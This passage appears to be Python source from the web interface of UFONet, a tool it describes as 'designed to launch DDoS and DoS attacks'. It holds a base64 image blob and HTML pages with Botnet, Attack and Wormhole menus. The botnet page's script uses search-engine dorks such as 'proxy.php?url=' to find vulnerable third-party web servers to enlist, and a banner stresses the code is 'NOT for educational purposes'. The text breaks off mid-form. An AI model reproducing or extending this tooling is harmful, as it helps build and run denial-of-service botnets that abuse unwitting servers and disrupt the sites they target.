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")
  1756. self.pages["/"] = self.pages["/header"] + """<script language="javascript">
  1757. function Start() {
  1758. var win_start = window.open("gui","_parent","fullscreen=yes, titlebar=yes, top=180, left=320, width=640, height=460, resizable=yes", false);
  1759. }
  1760. </script>
  1761. <script type="text/javascript">
  1762. var text="REMEMBER -> This code is NOT for educational purposes!!";
  1763. var delay=1;
  1764. var currentChar=1;
  1765. var destination="tt";
  1766. function type()
  1767. {
  1768. if (document.getElementById)
  1769. {
  1770. var dest=document.getElementById(destination);
  1771. if (dest)
  1772. {
  1773. dest.innerHTML=text.substr(0, currentChar);
  1774. currentChar++
  1775. if (currentChar>text.length)
  1776. {
  1777. currentChar=1;
  1778. setTimeout("type()", 5000);
  1779. }
  1780. else
  1781. {
  1782. setTimeout("type()", delay);
  1783. }
  1784. }
  1785. }
  1786. }
  1787. function startTyping(textParam, delayParam, destinationParam)
  1788. {
  1789. text=textParam;
  1790. delay=delayParam;
  1791. currentChar=1;
  1792. destination=destinationParam;
  1793. type();
  1794. }
  1795. </script>
  1796. <link rel="stylesheet" href="/js/ufo-cloud.css" />
  1797. </head>
  1798. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1799. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1800. <center><br><br><br><br>
  1801. <table><tr><td><img src="/ufonet-logo.png"></td><td>
  1802. <div class="ufo-cloud">
  1803. <ul>
  1804. <li><a href="javascript:alert('Let them hate so long as they fear...');"><span></span>'oderint dum metuant'</a></li>
  1805. <li><a href="javascript:alert('In order to achieve what has been undertaken...');"><span></span>'ad susceptum perficiendum'</a></li>
  1806. <li><a href="javascript:alert('Out of order, comes chaos...');"><span></span>'chao ab ordo'</a></li>
  1807. <li><a href="javascript:alert('The truth being enveloped by obscure things...');"><span></span>'obscuris vera involvens'</a></li>
  1808. <li><a href="javascript:alert('Everything changes, nothing perishes...');"><span></span>'omnia mutantur, nihil interit'</a></li>
  1809. <li><a href="javascript:alert('One world...');"><span></span>'orbis unum'</a></li>
  1810. <li><a href="javascript:alert('If you want peace, prepare the war...');"><span></span>'si vis pacem, para bellum'</a></li>
  1811. <li><a href="javascript:alert('Man is a wolf to man...');"><span></span>'homo homini lupus'</a></li>
  1812. <li><a href="javascript:alert('Ignorance is the cause of fear...');"><span></span>'causa de timendi est nescire'</a></li>
  1813. <li><a href="javascript:alert('There is still time...');"><span></span>'adhuc tempus'</a></li>
  1814. <li><a href="javascript:alert('No regime is sustained for a long time exercising violence...');"><span></span>'iniqua nunquam regna perpetuo manent'</a></li>
  1815. <li><a href="javascript:alert('From one, learn all...');"><span></span>'ab uno disce omnes'</a></li>
  1816. <li><a href="javascript:alert('One for all, all for one...');"><span></span>'unus pro omnibus, omnes pro uno'</a></li>
  1817. <li><a href="javascript:alert('Do what you are doing...');"><span></span>'age quod agis'</a></li>
  1818. <li><a href="javascript:alert('Make your move...');"><span></span>'fac et excusa'</a></li>
  1819. <li><a href="javascript:alert('Divide and conquer...');"><span></span>'divide et impera'</a></li>
  1820. <li><a href="javascript:alert('If you did it, deny it...');"><span></span>'si fecisti nega'</a></li>
  1821. </ul>
  1822. </div>
  1823. </td></tr></table><br>
  1824. <hr>
  1825. <br /><b><a href="https://ufonet.03c8.net" target="_blank">UFONet</a></b> - is a toolkit designed to launch <a href="https://en.wikipedia.org/wiki/Distributed_denial-of-service" target="_blank">DDoS</a> and <a href="https://en.wikipedia.org/wiki/Denial-of-service_attack" target="_blank">DoS</a> attacks.<br /><br />
  1826. <div id="tt">REMEMBER -> This code is NOT for educational purposes!!</div><br />
  1827. <script type="text/javascript">
  1828. startTyping(text, 80, "tt");
  1829. </script><hr><br />
  1830. <button title="Start to fly with your UFONet mothership..." onclick="Start()" style="color:yellow; height:40px; width:240px; font-weight:bold; background-color:red; border: 2px solid yellow;">START MOTHERSHIP!</button>""" + self.pages["/footer"]
  1831. self.pages["/gui"] = self.pages["/header"] + """<script>function News() {
  1832. var win_requests = window.open("news","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1833. }
  1834. </script>
  1835. <script>function Missions() {
  1836. var win_requests = window.open("missions","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1837. }
  1838. </script>
  1839. <script>function Stats() {
  1840. var win_requests = window.open("stats","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1841. }
  1842. </script>
  1843. <script>function Board() {
  1844. var win_requests = window.open("board","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1845. }
  1846. </script>
  1847. </head>
  1848. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1849. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1850. <center>
  1851. <table cellpadding="38" cellspacing="38">
  1852. <tr>
  1853. <td>
  1854. <div class="ringMenu">
  1855. <ul>
  1856. <li class="main"><a target="_blank" href="wormhole">Wormhole</a></li>
  1857. <li class="top"><a href="botnet">Botnet</a></li>
  1858. <li class="right"><a href="inspect">Inspect</a></li>
  1859. <li class="bottom"><a href="attack">Attack</a></li>
  1860. <li class="left"><a href="help">Help</a></li>
  1861. </ul>
  1862. </div>
  1863. </td>
  1864. <td>
  1865. <table border="1" bgcolor="black" cellpadding="24" cellspacing="25">
  1866. <tr>
  1867. <td>
  1868. <pre>Welcome to: <a href="https://ufonet.03c8.net/" target="_blank">UFONet</a> | <a href="https://ufonet.03c8.net/FAQ.html" target="_blank">FAQ</a> - <a href="/help" target="_parent">Help</a> |
  1869. ----------------------------------
  1870. """ + self.options.version + """
  1871. - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """
  1872. | <a href='javascript:runCommandX("cmd_check_tool")'>Auto-update</a> | <a href="https://code.03c8.net/epsylon/ufonet" target="_blank">Code</a> - <a href="https://github.com/epsylon/ufonet" target="_blank">Mirror</a> |
  1873. -----------------------------------
  1874. Mothership ID: <b>""" + str(self.mothership_id) + """</b>
  1875. - Your ranking is: <a href="/ranking" target="_blank"><b>""" + str(self.ranking) + """</a></b>
  1876. """+str(self.current_tasks)+"""</td>
  1877. <td>
  1878. <table>
  1879. <tr>
  1880. <td><img src="/images/aliens/alien1.png" onclick="News()"></td>
  1881. <td><img src="/images/aliens/alien2.png" onclick="Missions()"></td>
  1882. </tr>
  1883. <tr>
  1884. <td><img src="/images/aliens/alien5.png" onclick="Stats()"></td>
  1885. <td><img src="/images/aliens/alien4.png" onclick="Board()"></td>
  1886. </tr>
  1887. </table>
  1888. </td>
  1889. </tr>
  1890. </table>
  1891. </td>
  1892. </tr>
  1893. </table>
  1894. <div id="cmdOut"></div>
  1895. """ + self.pages["/footer"]
  1896. self.pages["/botnet"] = self.pages["/header"] + """<script language="javascript">
  1897. function Requests() {
  1898. var win_requests = window.open("requests","_blank","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1899. }
  1900. function Maps() {
  1901. var win_map = window.open("cmd_view_army","_blank","fullscreen=yes, resizable=yes", false);
  1902. win_map.resizeTo(screen.width,screen.height);
  1903. }
  1904. function Start(){
  1905. dork=document.getElementById("dork").value
  1906. s_engine = document.getElementById('engines_list').options[document.getElementById('engines_list').selectedIndex].text;
  1907. if (document.getElementById("autosearch").checked){
  1908. document.getElementById("autosearch").value = "on";
  1909. } else {
  1910. document.getElementById("autosearch").value = "off";
  1911. }
  1912. autosearch = document.getElementById("autosearch").value
  1913. if (document.getElementById("dork_list").checked){
  1914. document.getElementById("dork_list").value = "on";
  1915. } else {
  1916. document.getElementById("dork_list").value = "off";
  1917. }
  1918. dork_list = document.getElementById("dork_list").value
  1919. if(dork == "" && dork_list == "off" && autosearch == "off") {
  1920. window.alert("You need to enter a source for dorking...");
  1921. return
  1922. }else{
  1923. if (document.getElementById("all_engines").checked){
  1924. document.getElementById("all_engines").value = "on";
  1925. } else {
  1926. document.getElementById("all_engines").value = "off";
  1927. }
  1928. all_engines = document.getElementById("all_engines").value
  1929. params="autosearch="+escape(autosearch)+"&dork="+escape(dork)+"&dork_list="+escape(dork_list)+"&s_engine="+escape(s_engine)+"&all_engines="+escape(all_engines)
  1930. runCommandX("cmd_search",params)
  1931. }
  1932. }
  1933. function showHide()
  1934. {
  1935. if(document.getElementById("dork_list").checked)
  1936. {
  1937. document.getElementById("dork_pattern").style.display = "none";
  1938. document.getElementById("autosearch_pattern").style.display = "none";
  1939. }
  1940. else {
  1941. document.getElementById("dork_pattern").style.display = "";
  1942. document.getElementById("autosearch_pattern").style.display = "";
  1943. }
  1944. }
  1945. function showHideEngines()
  1946. {
  1947. if(document.getElementById("all_engines").checked)
  1948. {
  1949. document.getElementById("s_engine").style.display = "none";
  1950. }
  1951. else {
  1952. document.getElementById("s_engine").style.display = "";
  1953. }
  1954. }
  1955. function HideAll()
  1956. {
  1957. if(document.getElementById("autosearch").checked)
  1958. {
  1959. document.getElementById("s_engine").style.display = "none";
  1960. document.getElementById("dork_pattern").style.display = "none";
  1961. document.getElementById("list_pattern").style.display = "none";
  1962. document.getElementById("allengines_pattern").style.display = "none";
  1963. document.getElementById("all_engines").checked = false;
  1964. document.getElementById("dork_list").checked = false;
  1965. document.getElementById("dork").value = "";
  1966. }
  1967. else {
  1968. document.getElementById("s_engine").style.display = "";
  1969. document.getElementById("dork_pattern").style.display = "";
  1970. document.getElementById("list_pattern").style.display = "";
  1971. document.getElementById("allengines_pattern").style.display = "";
  1972. }
  1973. }
  1974. </script>
  1975. <script>function Blackholes() {
  1976. var win_requests = window.open("blackholes","_blank","fullscreen=no, scrollbars=1, titlebar=no, toolbar=no, location=no, status=no, menubar=no, top=190, left=360, width=860, height=480, resizable=yes", false);
  1977. }
  1978. </script>
  1979. </head>
  1980. <body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1981. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1982. <center>
  1983. <table cellpadding="38" cellspacing="38">
  1984. <tr>
  1985. <td>
  1986. <div class="ringMenu">
  1987. <ul>
  1988. <li class="main"><a href="botnet">Botnet</a></li>
  1989. <li class="top"><a href="help">Help</a></li>
  1990. <li class="right"><a href="inspect">Inspect</a></li>
  1991. <li class="bottom"><a href="attack">Attack</a></li>
  1992. <li class="left"><a href="gui">RETURN</a></li>
  1993. </ul>
  1994. </div>
  1995. </td>
  1996. <td>
  1997. <table bgcolor="black" cellpadding="24" cellspacing="25" border="1">
  1998. <tr><td>
  1999. <pre>
  2000. <button title="Configure how you will perform requests (proxy, HTTP headers, etc)..." onclick="Requests()">Configure requests</button> | * View Botnet: <button title="Build a map and geo-deploy your botnet on it..." onclick="Maps()">Generate map!</button>
  2001. <form method='GET'><br/><hr><div id="autosearch_pattern" style="display:block;">
  2002. * Search automatically (may take time!) <input type="checkbox" id="autosearch" onchange="HideAll()"></div><div id="dork_pattern" style="display:block;">
  2003. * Search using a dork: <input type="text" name="dork" id="dork" size="20" placeholder="proxy.php?url="></div><div id="list_pattern" style="display:block;">
  2004. * Search using a list (from: botnet/dorks.txt): <input type="checkbox" id="dork_list" onchange="showHide()"></div><div id="s_engine" name="s_engine" style="display:block;">
  2005. * Search using this search engine: <select id="engines_list">
  2006. <option value="startpage" selected>startpage</option>
  2007. <option value="duck">duck</option>
  2008. <option value="bing">bing</option>
  2009. <option value="yahoo">yahoo</option>
  2010. <!-- <option value="google">google (no TOR!)</option>-->
